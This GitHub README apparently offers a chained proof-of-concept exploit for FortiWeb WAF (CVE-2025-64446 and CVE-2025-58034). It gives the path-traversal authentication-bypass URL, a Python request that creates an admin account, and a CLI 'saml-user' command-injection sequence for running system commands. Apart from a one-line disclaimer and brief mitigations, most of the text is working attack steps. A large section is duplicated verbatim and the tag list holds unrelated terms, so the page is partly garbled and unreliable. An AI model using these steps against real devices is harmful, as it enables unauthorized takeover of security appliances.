eagle-nett/FORTIWEB_CVE-2025-64446-58034
GitHub: eagle-nett/FORTIWEB_CVE-2025-64446-58034
针对 FortiWeb WAF 的链式漏洞利用 PoC,组合认证绕过与命令注入实现从未授权到完全接管设备。
Stars: 0 | Forks: 0
# FortiWeb 漏洞利用模拟 (CVE-2025-64446 & CVE-2025-58034)
### 注意事项:
- 本文档仅供安全学习和研究目的使用。
- 未经授权,请勿用于攻击系统。
## 1. 概述
FortiWeb 是一款用于保护 Web 应用程序的 Web Application Firewall (WAF) 设备。
在 2025 年,发现了两个严重的漏洞:
- CVE-2025-64446 – 通过 Path Traversal 绕过认证
- CVE-2025-58034 – OS Command Injection
## 2. CVE-2025-64446 概述
| 项目 | 内容 |
|-----|---------|
| 漏洞类型 | Relative Path Traversal
Authentication Bypass | | 原因 | FortiWeb 在认证之前对路径的处理不够严格:
- 基于逻辑路径字符串进行访问控制
- 未完全 normalize 路径
- 允许使用 `../` 访问内部资源 | | 描述 | 部分管理端点可以在没有有效认证的情况下被访问 | | 危害 | - 完全绕过认证
- 非法访问 admin 功能
- 破坏权限模型 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | 示例: ``` /api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi ``` ## 3. CVE-2025-58034 概述 | 项目 | 内容 | |-----|---------| | 漏洞类型 | OS Command Injection (CWE-78) | | 原因 | FortiWeb 在执行操作系统命令时对输入的处理不安全:
- 未验证输入
- 缺少对特殊字符的转义
- 直接将用户数据传递给系统命令 | | 描述 | 该漏洞需要认证,但允许注入系统命令 | | 危害 | - 执行非预期的命令
- 访问系统资源
- 影响完整性和可用性 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | ## 4. 实验过程 (POC) ### 4.1. 环境准备: ``` python3 -m venv venv source venv/bin/activate pip install -r requirements.txt ``` 这样做有助于避免库版本冲突,确保工作环境的稳定性,并限制对系统的影响  ### 4.2 利用 Payload ``` cgiinfo_json = { "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin" } cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode() conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers) resp = conn.getresponse() result = { 'target': f"{host}:{port}", 'status': resp.status, 'user': username, 'password': password, 'success': resp.status == 200 } ``` 使用 Python3 运行工具: ``` python3 exploit.py
```
* ``:此处的 IP 地址是 FortiWeb 设备的主机名。

获取用户名和密码 -> 进行登录

成功利用并创建了具有 admin 权限的新账户。
### 4.3 登录账户后利用 CVE-2025-58034
使用新创建的管理员账户成功登录后,攻击者可以通过特制的请求或直接通过 FortiWeb CLI 命令行界面利用已认证的命令注入漏洞:
```
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
```
FortiWeb 将在 saml-user 配置过程中跳出配置字符串并执行 id 命令。
## 5. 部分漏洞缓解措施
- 将 FortiWeb 更新到已修补的版本
- 限制对管理界面的访问
- 不要将管理接口暴露在互联网上
- 检查异常的 admin 账户
## 6. 更多参考资料
* CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
* CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
Authentication Bypass | | 原因 | FortiWeb 在认证之前对路径的处理不够严格:
- 基于逻辑路径字符串进行访问控制
- 未完全 normalize 路径
- 允许使用 `../` 访问内部资源 | | 描述 | 部分管理端点可以在没有有效认证的情况下被访问 | | 危害 | - 完全绕过认证
- 非法访问 admin 功能
- 破坏权限模型 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | 示例: ``` /api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi ``` ## 3. CVE-2025-58034 概述 | 项目 | 内容 | |-----|---------| | 漏洞类型 | OS Command Injection (CWE-78) | | 原因 | FortiWeb 在执行操作系统命令时对输入的处理不安全:
- 未验证输入
- 缺少对特殊字符的转义
- 直接将用户数据传递给系统命令 | | 描述 | 该漏洞需要认证,但允许注入系统命令 | | 危害 | - 执行非预期的命令
- 访问系统资源
- 影响完整性和可用性 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | ## 4. 实验过程 (POC) ### 4.1. 环境准备: ``` python3 -m venv venv source venv/bin/activate pip install -r requirements.txt ``` 这样做有助于避免库版本冲突,确保工作环境的稳定性,并限制对系统的影响  ### 4.2 利用 Payload ``` cgiinfo_json = { "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin" } cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode() conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers) resp = conn.getresponse() result = { 'target': f"{host}:{port}", 'status': resp.status, 'user': username, 'password': password, 'success': resp.status == 200 } ``` 使用 Python3 运行工具: ``` python3 exploit.py
标签:CISA项目, CVE-2025-58034, CVE-2025-64446, CWE-78, Fortinet安全, FortiWeb, Homebrew安装, OS命令注入, PE 加载器, PoC, WAF漏洞, 协议分析, 攻击模拟, 暴力破解, 权限提升, 漏洞分析, 漏洞复现, 编程工具, 网络安全, 认证绕过, 路径探测, 路径遍历, 远程代码执行, 隐私保护, 驱动签名利用